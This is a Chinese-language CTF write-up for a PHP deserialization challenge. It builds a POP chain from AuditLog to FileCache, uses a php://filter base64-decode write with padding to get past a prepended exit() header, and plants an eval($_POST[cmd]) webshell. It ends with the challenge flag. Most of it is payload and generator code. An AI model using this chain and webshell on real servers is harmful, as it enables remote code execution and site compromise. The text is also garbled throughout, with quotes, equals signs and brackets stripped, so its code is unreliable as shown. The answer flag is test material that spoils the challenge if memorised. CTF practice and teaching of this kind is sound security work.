题目此题目来源于投稿PHP Web 应用里的 FileCache 类被反序列化触发写文件时非要在内容开头加句exit;搞破坏导致代码没法执行快想办法躲开这个 “拦路虎”?phperror_reporting(0);highlight_file(__FILE__);classAuditLog{public$handler;publicfunction__construct(){$this-handlernewSystemStatus();}publicfunction__toString(){return$this-handler-process();}}classFileCache{public$filePath;public$content;publicfunction__construct($path,$data){$this-filePath$path;$this-content$data;}publicfunctionprocess(){$security_header?php exit(Access Denied: Protected Cache); ?;$final_data$security_header.$this-content;file_put_contents($this-filePath,$final_data);returnCache Saved.;}}classSystemStatus{publicfunctionprocess(){if(file_exists(./system_config.php)){include(./system_config.php);}returnSystem logic normal.;}}$payload$_POST[data];if(isset($payload)){echounserialize($payload);}else{echoInvalid data stream.;}?Invalid data stream.解题过程POP 链初步测试触发默认返回值触发 SystemStatus::process () 返回构造序列化 payload使 AuditLog 的 handler 指向 SystemStatus 对象。?phpclassAuditLog{public $handler;}classSystemStatus{}$objnew AuditLog();$obj-handlernew SystemStatus();echo serialize($obj);?生成 PayloadO:8:AuditLog:1:{s:7:handler;O:12:SystemStatus:0:{}}POST 提交data参数页面输出System logic normal.触发 FileCache::process () 返回构造序列化 payload使 AuditLog 的 handler 指向 FileCache 对象。?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$objnew AuditLog();$obj-handlernew FileCache();//随便赋值不影响return$obj-handler-filePathtest.php;$obj-handler-contenttest;echo serialize($obj);?生成 PayloadO:8:AuditLog:1:{s:7:handler;O:9:FileCache:2:{s:8:filePath;s:8:test.php;s:7:content;s:4:test;}}POST 提交后输出Cache Saved.绕过死亡头部php://filter Base64 写入直接写入 PHP 代码会被前置的?php exit();?拦截使用 Base64 解码流绕过。写入 phpinfo 测试?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$objnew AuditLog();$obj-handlernew FileCache();//核心使用 php://filter流写入 $obj-handler-filePathphp://filter/writeconvert.base64-decode/resourceshell.php;//写入纯base64编码的phpinfo(?php phpinfo();$obj-handler-contentPD9waHAgcGhwaW5mbygpOz8;echo serialize($obj);?写入 phpinfo 测试O:8:AuditLog:1:{s:7:handler;O:9:FileCache:2:{s:8:filePath;s:59:php://filter/writeconvert.base64-decode/resourceshell.php;s:7:content;s:24:PD9waHAgcGhwaW5mbygpOz8;}}直接访问shell.php出现乱码原因前置死亡代码污染 Base64 解码。解决乱码问题?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$objnew AuditLog();$obj-handlernew FileCache();//核心使用 php://filter流写入 $obj-handler-filePathphp://filter/writeconvert.base64-decode/resourceshell.php;//写入纯base64编码的phpinfo(?php phpinfo();$obj-handler-contentAAAPD9waHAgcGhwaW5mbygpOz8;echo serialize($obj);?O:8:AuditLog:1:{s:7:handler;O:9:FileCache:2:{s:8:filePath;s:59:php://filter/writeconvert.base64-decode/resourceshell.php;s:7:content;s:27:AAAPD9waHAgcGhwaW5mbygpOz8;}}终极解决Base64 长度对齐解决乱码前置字符串长度不满足 Base64 对齐规则补充字符修正长度实现纯净写入。一句话木马编码?php eval($_POST[cmd]);?Base64 编码PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg构造最终 Payload?phpclassAuditLog{public $handler;}classFileCache{public $filePath;public $content;}$objnew AuditLog();$obj-handlernew FileCache();//核心使用 php://filter流写入 $obj-handler-filePathphp://filter/writeconvert.base64-decode/resourceshell.php;//写入纯base64编码的phpinfo(?php phpinfo();$obj-handler-contentAAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg;echo serialize($obj);?最终 PayloadO:8:AuditLog:1:{s:7:handler;O:9:FileCache:2:{s:8:filePath;s:59:php://filter/writeconvert.base64-decode/resourceshell.php;s:7:content;s:43:AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg;}}POST 提交data参数页面输出Cache Saved.连接 Webshell 获得 Flag答案qsnctf{177cc428697e461da33a0e8861759e94}